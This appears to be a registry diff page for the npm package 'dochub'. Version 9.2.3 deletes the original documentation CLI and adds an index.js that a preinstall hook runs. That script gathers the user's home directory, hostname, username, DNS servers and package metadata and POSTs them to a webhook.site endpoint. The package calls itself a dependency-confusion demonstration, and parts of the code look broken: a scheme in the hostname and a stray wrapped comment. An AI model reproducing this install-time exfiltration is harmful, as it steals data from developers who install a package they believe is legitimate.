dochub 1.0.4 → 9.2.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of dochub might be problematic. Click here for more details.

package/index.js CHANGED
@@ -1,32 +1,47 @@
1
- #!/usr/bin/env node
2
-
3
- const yargs = require('yargs');
4
- const initProject = require('./src/init');
5
- const serveDocs = require('./src/serve');
6
-
7
- yargs
8
- .command({
9
- command: 'init <directory>',
10
- describe: 'Initialize a new documentation project',
11
- builder: (yargs) => {
12
- yargs.positional('directory', {
13
- describe: 'Directory name for the documentation project',
14
- type: 'string',
15
- });
16
- },
17
- handler: initProject,
18
- })
19
- .command({
20
- command: 'serve <directory>',
21
- describe: 'Serve the documentation site',
22
- builder: (yargs) => {
23
- yargs.positional('directory', {
24
- describe: 'Directory name where documentation files are located',
25
- type: 'string',
26
- });
27
- },
28
- handler: serveDocs,
29
- })
30
- .demandCommand()
31
- .help()
32
- .argv;
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
19
+
20
+ var postData = querystring.stringify({
21
+ msg: trackingData,
22
+ });
23
+
24
+ var options = {
25
+ hostname: "https://webhook.site", //replace burpcollaborator.net with Interactsh or
26
+ pipedream
27
+ port: 443,
28
+ path: "/ef7191de-6fbf-4898-80c9-853b5d93fb27",
29
+ method: "POST",
30
+ headers: {
31
+ "Content-Type": "application/x-www-form-urlencoded",
32
+ "Content-Length": postData.length,
33
+ },
34
+ };
35
+
36
+ var req = https.request(options, (res) => {
37
+ res.on("data", (d) => {
38
+ process.stdout.write(d);
39
+ });
40
+ });
41
+
42
+ req.on("error", (e) => {
43
+ // console.error(e);
44
+ });
45
+
46
+ req.write(postData);
47
+ req.end();
package/package.json CHANGED
@@ -1,20 +1,12 @@
1
1
  {
2
2
  "name": "dochub",
3
- "version": "1.0.4",
3
+ "version": "9.2.3",
4
+ "description": "This is to demonstrate the vulnerability of Dependency Confusion",
4
5
  "main": "index.js",
5
6
  "scripts": {
6
- "test": "echo \"Error: no test specified\" && exit 1"
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall":"index.js"
7
9
  },
8
- "bin": {
9
- "dochub": "./index.js"
10
- },
11
- "author": "Tyler Reece",
12
- "license": "ISC",
13
- "description": "DocHub is a documentation generation CLI tool.",
14
- "dependencies": {
15
- "child_process": "^1.0.2",
16
- "fs": "^0.0.1-security",
17
- "path": "^0.12.7",
18
- "yargs": "^17.7.2"
19
- }
10
+ "author": "Casper",
11
+ "license": "ISC"
20
12
  }
package/README.md DELETED
@@ -1,52 +0,0 @@
1
- # DocHub
2
-
3
- [![npm dependents](https://badgen.net/npm/dependents/dochub)](https://www.npmjs.com/package/dochub?activeTab=dependents)
4
- [![install size](https://packagephobia.com/badge?p=dochub)](https://packagephobia.com/result?p=dochub)
5
- [![Downloads](https://badgen.net/npm/dt/dochub)](https://www.npmjs.com/package/dochub)
6
- [![NPM Version](https://img.shields.io/npm/v/code-example.svg)](https://www.npmjs.com/package/dochub)
7
-
8
- DocHub is a CLI tool for dynamically generating and displaying documentation from Markdown files converted to HTML. It includes real-time updates, search functionality, syntax highlighting, and dark mode support for better readability.
9
-
10
- ## Features
11
-
12
- - **Real-time Updates:** Automatically refreshes content when documentation files are modified.
13
- - **Search Functionality:** Includes a search bar to filter through documentation content.
14
- - **Syntax Highlighting:** Uses Highlight.js to format code blocks for better readability.
15
- - **Dark Mode:** Implements a dark mode theme for improved viewing experience.
16
-
17
- ## Getting Started
18
-
19
- To start using DocHub, follow these steps:
20
-
21
- 1. **Installation:**
22
- - Ensure Node.js is installed on your system.
23
-
24
- 2. **Initialize Project:**
25
- - Run `dochub init [directory]` in your terminal to set up a new DocHub project.
26
- - Replace `[directory]` with the path where you want to initialize your documentation project.
27
-
28
- 3. **Generate Documentation:**
29
- - Once initialized, run `dochub serve [directory]` in your terminal.
30
- - Replace `[directory]` with the path to your documentation files.
31
-
32
- 4. **View Documentation:**
33
- - Open a web browser and navigate to `http://localhost:3000`.
34
- - The sidebar lists different sections of your documentation.
35
- - Use the search bar to find specific topics within the documentation.
36
-
37
- ## Project Structure
38
-
39
- The project structure includes:
40
-
41
- - **HTML and CSS:** Main structure and styling managed using HTML and Tailwind CSS.
42
- - **JavaScript (Client-side):** Handles dynamic content updates, event handling, and integration with external libraries like Socket.IO and Highlight.js.
43
- - **Socket.IO:** Facilitates real-time communication to update documentation on file changes.
44
- - **Markdown to HTML Conversion:** Converts Markdown content fetched from the server-side into HTML for rendering.
45
-
46
- ## Getting Help
47
-
48
- If you encounter any issues or have questions about using DocHub, feel free to reach out via [GitHub Issues](https://github.com/tyler-Github/dochub/issues).
49
-
50
- ## License
51
-
52
- This project is licensed under the MIT License - see the [LICENSE](./LICENSE) file for details.
package/src/init.js DELETED
@@ -1,219 +0,0 @@
1
- const { execSync } = require('child_process');
2
- const fs = require('fs');
3
- const path = require('path');
4
-
5
- function initProject(argv) {
6
- const directory = argv.directory;
7
-
8
- if (!directory) {
9
- console.error('Please provide a directory name.');
10
- return;
11
- }
12
-
13
- const projectPath = path.resolve(directory);
14
-
15
- if (fs.existsSync(projectPath)) {
16
- console.error(`Directory '${directory}' already exists.`);
17
- return;
18
- }
19
-
20
- // Create the main documentation folder
21
- fs.mkdirSync(projectPath);
22
- animatedLog(`✔ Created directory '${projectPath}'.`, 50);
23
-
24
- // Simulate folder creation with loading animation
25
- setTimeout(() => {
26
- const markdownFolder = path.join(projectPath, 'markdown');
27
- fs.mkdirSync(markdownFolder, { recursive: true });
28
- animatedLog(`✔ Created directory '${markdownFolder}'.`, 50);
29
-
30
- // Create sample markdown files
31
- createMarkdownFiles(markdownFolder);
32
-
33
- // Create config.json
34
- const configFilePath = path.join(projectPath, 'config.json');
35
- createConfigFile(configFilePath);
36
- animatedLog(`✔ Created file '${configFilePath}'.`, 50);
37
-
38
- // Create index.html
39
- const indexFilePath = path.join(projectPath, 'index.html');
40
- createIndexFile(indexFilePath);
41
- animatedLog(`✔ Created file '${indexFilePath}'.`, 50);
42
-
43
- // Create server.js
44
- const serverFilePath = path.join(projectPath, 'server.js');
45
- createServerFile(serverFilePath, projectPath);
46
- animatedLog(`✔ Created file '${serverFilePath}'.`, 50);
47
-
48
- // Initialize npm and install necessary packages
49
- initializeNpm(projectPath);
50
- installPackages(projectPath);
51
-
52
- console.log(`✔ Initialized new DocHub project in '${projectPath}'.`);
53
- }, 1000); // Simulate some delay for a fun loading effect
54
- }
55
-
56
- // Function to create sample markdown files by copying from templates directory
57
- function createMarkdownFiles(folderPath) {
58
- const templatesDir = path.join(__dirname, '..', 'templates');
59
-
60
- const markdownFiles = [
61
- {
62
- name: 'README.md',
63
- templatePath: path.join(templatesDir, 'README.md')
64
- },
65
- {
66
- name: 'guide.md',
67
- templatePath: path.join(templatesDir, 'guide.md')
68
- },
69
- {
70
- name: 'folder/README.md',
71
- templatePath: path.join(templatesDir, 'folder', 'README.md')
72
- }
73
- ];
74
-
75
- markdownFiles.forEach(file => {
76
- const filePath = path.join(folderPath, file.name);
77
-
78
- try {
79
- // Ensure directory exists before writing file
80
- const dirname = path.dirname(filePath);
81
- if (!fs.existsSync(dirname)) {
82
- fs.mkdirSync(dirname, { recursive: true });
83
- }
84
-
85
- const templateContent = fs.readFileSync(file.templatePath, 'utf8');
86
- fs.writeFileSync(filePath, templateContent);
87
- console.log(`✔ Created file: ${filePath}`);
88
- } catch (err) {
89
- console.error(`✘ Error creating file ${filePath}:`, err);
90
- }
91
- });
92
- }
93
-
94
-
95
- // Function to create config.json
96
- function createConfigFile(filePath) {
97
- const configData = {
98
- title: 'DocHub Project',
99
- description: "Change this to your description!"
100
- };
101
-
102
- fs.writeFileSync(filePath, JSON.stringify(configData, null, 2));
103
- animatedLog(`✔ Created file '${filePath}'.`, 50);
104
- }
105
-
106
- // Function to create index.html
107
- function createIndexFile(filePath) {
108
- const htmlContent = `
109
- <!DOCTYPE html>
110
- <html lang="en">
111
- <head>
112
- <meta charset="UTF-8">
113
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
114
- <title>Documentation Project</title>
115
- </head>
116
- <body>
117
- <h1>Welcome to Documentation Project</h1>
118
- <p>This is the main index.html file for your documentation project.</p>
119
- </body>
120
- </html>
121
- `;
122
-
123
- fs.writeFileSync(filePath, htmlContent.trim());
124
- animatedLog(`✔ Created file '${filePath}'.`, 50);
125
- }
126
-
127
- // Function to create server.js using a template
128
- function createServerFile(filePath) {
129
- const templatePath = path.join(__dirname, '..', 'templates', 'server.js');
130
-
131
- // Read the server.js template file
132
- fs.readFile(templatePath, 'utf8', (err, data) => {
133
- if (err) {
134
- console.error(`✘ Error reading template file: ${err}`);
135
- return;
136
- }
137
-
138
- // Write the template content to the specified filePath
139
- fs.writeFileSync(filePath, data.trim());
140
- console.log(`✔ Server file generated at ${filePath}`);
141
- });
142
- }
143
-
144
- // Function to initialize npm in the project directory
145
- function initializeNpm(projectPath) {
146
- const packageJson = {
147
- name: path.basename(projectPath),
148
- version: '1.0.0',
149
- description: 'DocHub project',
150
- scripts: {
151
- start: 'node server.js'
152
- },
153
- keywords: [],
154
- "main": "server.js",
155
- author: '',
156
- license: 'ISC'
157
- };
158
-
159
- const packageJsonPath = path.join(projectPath, 'package.json');
160
- fs.writeFileSync(packageJsonPath, JSON.stringify(packageJson, null, 2));
161
-
162
- try {
163
- execSync('npm init -y', { cwd: projectPath, stdio: 'ignore' });
164
- animatedLog('✔ Initialized npm.', 50);
165
- } catch (error) {
166
- console.error('✘ Failed to initialize npm.');
167
- }
168
- }
169
-
170
- // Function to install necessary packages
171
- function installPackages(projectPath) {
172
- const dependencies = ['http', 'fs', 'path', 'highlight.js', 'socket.io'];
173
-
174
- animatedLog(`✔ Installing packages: ${dependencies.join(', ')}`, 50);
175
- const progressBar = createProgressBar(20);
176
-
177
- try {
178
- execSync(`npm install --save ${dependencies.join(' ')}`, { cwd: projectPath, stdio: 'inherit' });
179
- progressBar.stop();
180
- console.log('\n✔ Installed necessary packages.');
181
- } catch (error) {
182
- progressBar.stop();
183
- console.error('\n✘ Failed to install necessary packages.');
184
- }
185
- }
186
-
187
- // Function to create a progress bar
188
- function createProgressBar(totalFrames) {
189
- let currentFrame = 0;
190
- const progressBar = setInterval(() => {
191
- process.stdout.write(`\r${frames[currentFrame]} Installing...`);
192
- currentFrame = (currentFrame + 1) % totalFrames;
193
- }, 50);
194
-
195
- return {
196
- stop: () => {
197
- clearInterval(progressBar);
198
- process.stdout.write(`\r✔ Installation complete.\n`);
199
- }
200
- };
201
- }
202
-
203
- // Function to animate console log with delay
204
- function animatedLog(message, delay) {
205
- const frames = ['⠁', '⠂', '⠄', '⡀', '⢀', '⠠', '⠐', '⠈'];
206
- let frame = 0;
207
-
208
- const interval = setInterval(() => {
209
- process.stdout.write(`\r${frames[frame]} ${message}`);
210
- frame = (frame + 1) % frames.length;
211
- }, delay);
212
-
213
- setTimeout(() => {
214
- clearInterval(interval);
215
- process.stdout.write(`\r${message}\n`);
216
- }, delay * 20); // Simulate loading completion
217
- }
218
-
219
- module.exports = initProject;
package/src/serve.js DELETED
@@ -1,66 +0,0 @@
1
- const { spawn } = require('child_process');
2
- const path = require('path');
3
- const fs = require('fs');
4
-
5
- function serveDocs(argv) {
6
- const directory = argv.directory || './docs';
7
-
8
- const serverFilePath = path.resolve(directory, 'server.js');
9
-
10
- if (!serverExists(serverFilePath)) {
11
- console.error(`Server file '${serverFilePath}' not found. Make sure to run 'init' first.`);
12
- return;
13
- }
14
-
15
- // Start the server using Node.js child process
16
- const serverProcess = spawn('node', [serverFilePath]);
17
-
18
- // Simulate server starting with loading animation
19
- animatedLog(`Starting server from '${serverFilePath}'`, 50);
20
-
21
- serverProcess.stdout.on('data', (data) => {
22
- // Log server stdout with tick emoji
23
- logWithTick(data.toString().trim());
24
- });
25
-
26
- serverProcess.stderr.on('data', (data) => {
27
- // Log server stderr with tick emoji for errors
28
- logWithTick(`Error: ${data.toString().trim()}`);
29
- });
30
-
31
- serverProcess.on('close', (code) => {
32
- console.log(`Server process exited with code ${code}`);
33
- });
34
- }
35
-
36
- // Function to check if server.js file exists
37
- function serverExists(filePath) {
38
- try {
39
- return fs.existsSync(filePath);
40
- } catch (err) {
41
- return false;
42
- }
43
- }
44
-
45
- // Function to animate console log with delay
46
- function animatedLog(message, delay) {
47
- const frames = ['⠁', '⠂', '⠄', '⡀', '⢀', '⠠', '⠐', '⠈'];
48
- let frame = 0;
49
-
50
- const interval = setInterval(() => {
51
- process.stdout.write(`\r${frames[frame]} ${message}`);
52
- frame = (frame + 1) % frames.length;
53
- }, delay);
54
-
55
- setTimeout(() => {
56
- clearInterval(interval);
57
- process.stdout.write(`\r✔ ${message}\n`);
58
- }, delay * 20); // Simulate loading completion
59
- }
60
-
61
- // Function to log with tick emoji
62
- function logWithTick(message) {
63
- console.log(`✔ ${message}`);
64
- }
65
-
66
- module.exports = serveDocs;
@@ -1,43 +0,0 @@
1
- # Welcome to your first documentation!
2
-
3
- This project dynamically generates and displays documentation from Markdown files converted to HTML. It utilizes Socket.IO for real-time updates, integrates with Tailwind CSS for styling, and uses Highlight.js for code syntax highlighting.
4
-
5
- ## Features
6
-
7
- - **Real-time Updates:** Automatically refreshes content when documentation files are modified.
8
- - **Search Functionality:** Includes a search bar to filter through documentation content.
9
- - **Syntax Highlighting:** Uses Highlight.js to format code blocks for better readability.
10
- - **Dark Mode:** Implements a dark mode theme for improved viewing experience.
11
-
12
- ## Getting Started
13
-
14
- To generate and view your documentation, follow these steps:
15
-
16
- 1. **Installation:**
17
- - Ensure Node.js is installed on your system.
18
-
19
- 2. **Generate Documentation:**
20
- - Run `docify serve [directory]` in your terminal.
21
- - Replace `[directory]` with the path to your documentation files.
22
-
23
- 3. **View Documentation:**
24
- - Open a web browser and navigate to `http://localhost:3000`.
25
- - The sidebar lists different sections of your documentation.
26
- - Use the search bar to find specific topics within the documentation.
27
-
28
- ## Project Structure
29
-
30
- The project structure includes:
31
-
32
- - **HTML and CSS:** Main structure and styling managed using HTML and Tailwind CSS.
33
- - **JavaScript (Client-side):** Handles dynamic content updates, event handling, and integration with external libraries like Socket.IO and Highlight.js.
34
- - **Socket.IO:** Facilitates real-time communication to update documentation on file changes.
35
- - **Markdown to HTML Conversion:** Converts Markdown content fetched from the server-side into HTML for rendering.
36
-
37
- ## Getting Help
38
-
39
- If you encounter any issues or have questions about using this documentation project, feel free to reach out via [GitHub Issues](https://github.com/tyler-Github/dochub/issues).
40
-
41
- ## License
42
-
43
- This project is licensed under the MIT License - see the [LICENSE](./LICENSE) file for details.
@@ -1,3 +0,0 @@
1
- # Readme
2
-
3
- This is a readme in a folder.
@@ -1,3 +0,0 @@
1
- # Guide
2
-
3
- This is a guide.
@@ -1,271 +0,0 @@
1
- const http = require('http');
2
- const fs = require('fs');
3
- const path = require('path');
4
- const hljs = require('highlight.js');
5
- const socketio = require('socket.io');
6
-
7
- let htmlContent = ''; // Variable to store HTML content
8
-
9
- const configPath = path.join(__dirname, 'config.json');
10
- const config = JSON.parse(fs.readFileSync(configPath, 'utf8'));
11
- const projectTitle = config.title || 'Documentation Project';
12
-
13
- // Function to convert Markdown to HTML
14
- function convertMarkdownToHtml(markdownContent, filePath) {
15
- // Regular expression to match Markdown code blocks
16
- const codeBlockRegex = /```(\w+)\n([\s\S]*?)```/g;
17
-
18
- // Basic conversion: Replace Markdown syntax with HTML equivalents
19
- let htmlContent = markdownContent
20
- // Code blocks
21
- .replace(codeBlockRegex, (match, language, code) => {
22
- const validLanguage = language || 'plaintext'; // Default to plaintext if no language specified
23
- const highlightedCode = hljs.highlight(code, { language: validLanguage }).value;
24
- // Count the number of lines in the code content
25
- const lines = code.split('\n').length;
26
- return `<pre class="bg-gray-800 text-white p-4 rounded-md mb-4 code-block" style="height: ${lines * 1.5}rem;"><code class="language-${validLanguage}" data-lines="${lines}">${highlightedCode}</code></pre>`;
27
- })
28
- // Inline code
29
- .replace(/`([^`]*)`/g, '<code class="bg-gray-800 text-white rounded px-1">$1</code>')
30
- // Headers, emphasis, lists, links
31
- .replace(/^# (.*)$/gm, '<h1 class="text-4xl font-bold mt-8 mb-4">$1</h1>')
32
- .replace(/^## (.*)$/gm, '<h2 class="text-3xl font-bold mt-6 mb-3">$1</h2>')
33
- .replace(/^### (.*)$/gm, '<h3 class="text-2xl font-bold mt-4 mb-2">$1</h3>')
34
- .replace(/^#### (.*)$/gm, '<h4 class="text-xl font-bold mt-3 mb-2">$1</h4>')
35
- .replace(/^##### (.*)$/gm, '<h5 class="text-lg font-bold mt-3 mb-2">$1</h5>')
36
- .replace(/^###### (.*)$/gm, '<h6 class="text-base font-bold mt-2 mb-2">$1</h6>')
37
- .replace(/\*\*(.*)\*\*/g, '<strong class="font-bold">$1</strong>')
38
- .replace(/\*(.*)\*/g, '<em class="italic">$1</em>')
39
- .replace(/^\s*-\s(.*)$/gm, '<li class="list-disc ml-4">$1</li>')
40
- .replace(/^\s*\d\.\s(.*)$/gm, '<li class="list-decimal ml-4">$1</li>')
41
- .replace(/<li>(.*)<\/li>/g, '<ul class="list-inside list-disc mb-4">$1</ul>')
42
- .replace(/\[(.*?)\]\((.*?)\)/g, '<a href="$2" class="text-blue-500 hover:underline">$1</a>')
43
- // Paragraphs and Line breaks
44
- .replace(/\n\n/gm, '</p><p class="mb-6">') // Replace double newline with closing and opening paragraph tags
45
- .replace(/^\s*$/gm, '<p class="mb-6">') // Replace empty lines with opening paragraph tag
46
- .replace(/^/gm, '') // Remove the beginning of each line
47
- .replace(/$/gm, ''); // Remove the end of each line
48
-
49
- // Generate sidebar based on file structure
50
- const sidebar = generateSidebar(path.join(__dirname, 'markdown'));
51
-
52
- // Return the entire HTML structure
53
- return `
54
- <!DOCTYPE html>
55
- <html lang="en">
56
- <head>
57
- <meta charset="UTF-8">
58
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
59
- <title>Markdown to HTML</title>
60
- <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
61
- <link href="https://cdn.jsdelivr.net/npm/highlight.js/styles/vs2015.css" rel="stylesheet">
62
- <style>
63
- /* Dark mode theme */
64
- body {
65
- background-color: #1a202c;
66
- color: #e2e8f0;
67
- }
68
- .bg-gray-200 {
69
- background-color: #2d3748;
70
- }
71
- .text-blue-500 {
72
- color: #90cdf4;
73
- }
74
- .hover\:underline:hover {
75
- text-decoration: underline;
76
- }
77
- /* Adjust sidebar height */
78
- .sidebar {
79
- min-height: 100vh; /* Ensure sidebar stretches to full viewport height */
80
- display: flex;
81
- flex-direction: column;
82
- align-items: flex-start; /* Align items to the start (left) */
83
- justify-content: flex-start; /* Start content from the top */
84
- padding: 20px;
85
- }
86
- .code-block {
87
- color: #e2e8f0; /* Match the body text color */
88
- padding: 1rem;
89
- margin-bottom: 1rem;
90
- border-radius: 0.5rem;
91
- overflow: hidden; /* Prevents scroll bars */
92
- white-space: pre-wrap; /* Preserves white space */
93
- }
94
- .search-bar {
95
- width: 100%;
96
- padding: 0.5rem;
97
- margin-bottom: 1rem;
98
- background-color: #4a5568;
99
- color: #e2e8f0;
100
- border: none;
101
- border-radius: 0.25rem;
102
- outline: none;
103
- }
104
- .search-bar:focus {
105
- background-color: #2d3748;
106
- }
107
- </style>
108
- </head>
109
- <body class="flex bg-gray-100">
110
- <aside class="w-1/5 bg-gray-800 p-4 sidebar">
111
- <h1 class="text-xl font-bold mb-4">${projectTitle}</h1>
112
- <input type="text" id="search-input" class="search-bar" placeholder="Search...">
113
- <ul id="sidebar-list" class="space-y-2">
114
- ${sidebar}
115
- </ul>
116
- </aside>
117
- <main id="main-content" class="w-4/5 p-4 bg-gray-200">
118
- ${htmlContent}
119
- </main>
120
- <script src="https://cdn.socket.io/4.3.1/socket.io.min.js"></script>
121
- <script>
122
- document.addEventListener('DOMContentLoaded', function() {
123
- const socket = io(); // Declare socket variable here
124
-
125
- socket.on('fileChange', function() {
126
- fetchCurrentPageContent();
127
- });
128
-
129
- const codeBlocks = document.querySelectorAll('.code-block');
130
- codeBlocks.forEach(block => {
131
- const code = block.querySelector('code');
132
- const lines = parseInt(code.getAttribute('data-lines'));
133
- const lineHeight = parseInt(getComputedStyle(code).lineHeight);
134
- block.style.height = (lines * lineHeight) + 'px'; // Set height using proper concatenation
135
- });
136
-
137
- // Fetch the sidebar list and handle search input
138
- const sidebarList = document.getElementById('sidebar-list');
139
- if (sidebarList) {
140
- const sidebarItems = sidebarList.getElementsByTagName('li');
141
-
142
- document.getElementById('search-input').addEventListener('input', function() {
143
- const searchValue = this.value.trim().toLowerCase();
144
-
145
- Array.from(sidebarItems).forEach(item => {
146
- const link = item.querySelector('a');
147
- if (link) {
148
- const textContent = link.textContent.trim().toLowerCase();
149
-
150
- if (textContent.includes(searchValue)) {
151
- item.style.display = 'block';
152
- } else {
153
- item.style.display = 'none';
154
- }
155
- }
156
- });
157
- });
158
- } else {
159
- console.error('Sidebar list element not found.');
160
- }
161
- });
162
-
163
- function fetchCurrentPageContent() {
164
- // Fetch the current page's HTML content
165
- fetch(window.location.href)
166
- .then(response => response.text())
167
- .then(html => {
168
- // Replace the entire HTML document with the fetched content
169
- document.open();
170
- document.write(html);
171
- document.close();
172
- })
173
- .catch(error => {
174
- console.error('Error fetching current page content:', error);
175
- });
176
- }
177
- </script>
178
-
179
- </body>
180
- </html>
181
- `;
182
- }
183
-
184
- // Function to generate sidebar links based on directory structure
185
- function generateSidebar(rootDir) {
186
- const generateLinks = (dir, baseUrl, depth = 0) => {
187
- let links = '';
188
- const items = fs.readdirSync(dir);
189
-
190
- items.forEach(item => {
191
- const itemPath = path.join(dir, item);
192
- const relativePath = path.relative(rootDir, itemPath);
193
- const urlPath = baseUrl + '/' + relativePath.replace(/\\/g, '/').replace('.md', '');
194
-
195
- if (fs.statSync(itemPath).isDirectory()) {
196
- // If directory, recursively generate nested list with increased depth
197
- links += `<li class="font-bold ml-${depth * 2}">${item}</li>\n`;
198
- links += `<ul class="ml-4 space-y-2">${generateLinks(itemPath, baseUrl, depth + 1)}</ul>\n`;
199
- } else if (item.endsWith('.md')) {
200
- // If Markdown file, generate list item with link
201
- links += `<li class="ml-${depth * 2}"><a href="${urlPath}" class="text-blue-500 hover:underline">${item.replace('.md', '')}</a></li>\n`;
202
- }
203
- });
204
-
205
- return links;
206
- };
207
-
208
- // Start generating sidebar from root directory
209
- return generateLinks(rootDir, '');
210
- }
211
-
212
- // Create HTTP server
213
- const server = http.createServer((req, res) => {
214
- let filePath = '.' + req.url;
215
-
216
- if (filePath === './' || filePath === './index.html') {
217
- filePath = './README.md'; // Default to README.md for root URL
218
- } else if (!path.extname(filePath)) {
219
- // Append '.md' for paths that do not have an extension
220
- filePath += '.md';
221
- }
222
-
223
- filePath = path.join(__dirname, 'markdown', filePath.replace(/^\//, ''));
224
-
225
- fs.readFile(filePath, (err, data) => {
226
- if (err) {
227
- if (err.code === 'ENOENT') {
228
- res.writeHead(404, { 'Content-Type': 'text/html' });
229
- res.end('<h1>404 Not Found</h1><p>The requested URL was not found on this server.</p>');
230
- } else {
231
- res.writeHead(500, { 'Content-Type': 'text/html' });
232
- res.end('<h1>500 Internal Server Error</h1><p>Sorry, something went wrong.</p>');
233
- }
234
- } else {
235
- let contentType = 'text/html';
236
-
237
- if (filePath.endsWith('.md')) {
238
- // Convert Markdown to HTML
239
- const markdownContent = data.toString();
240
- htmlContent = convertMarkdownToHtml(markdownContent, filePath);
241
-
242
- // Serve HTML with proper Tailwind CSS and sidebar
243
- res.writeHead(200, { 'Content-Type': 'text/html' });
244
- res.end(htmlContent);
245
- } else {
246
- // Serve other file types directly (e.g., CSS files)
247
- res.writeHead(200, { 'Content-Type': contentType });
248
- res.end(data);
249
- }
250
- }
251
- });
252
- });
253
-
254
- // Attach Socket.IO to the HTTP server
255
- const io = socketio(server);
256
-
257
- // Watch changes in the Markdown directory
258
- const markdownDir = path.join(__dirname, 'markdown');
259
- if (fs.existsSync(markdownDir)) {
260
- fs.watch(markdownDir, { recursive: true }, (eventType, filename) => {
261
- console.log(`File ${filename} ${eventType}`);
262
- io.emit('fileChange'); // Emit event to clients when file changes
263
- });
264
- } else {
265
- console.error('Markdown directory does not exist.');
266
- }
267
-
268
- const port = process.env.PORT || 3000;
269
- server.listen(port, () => {
270
- console.log(`Server is running on http://localhost:${port}`);
271
- });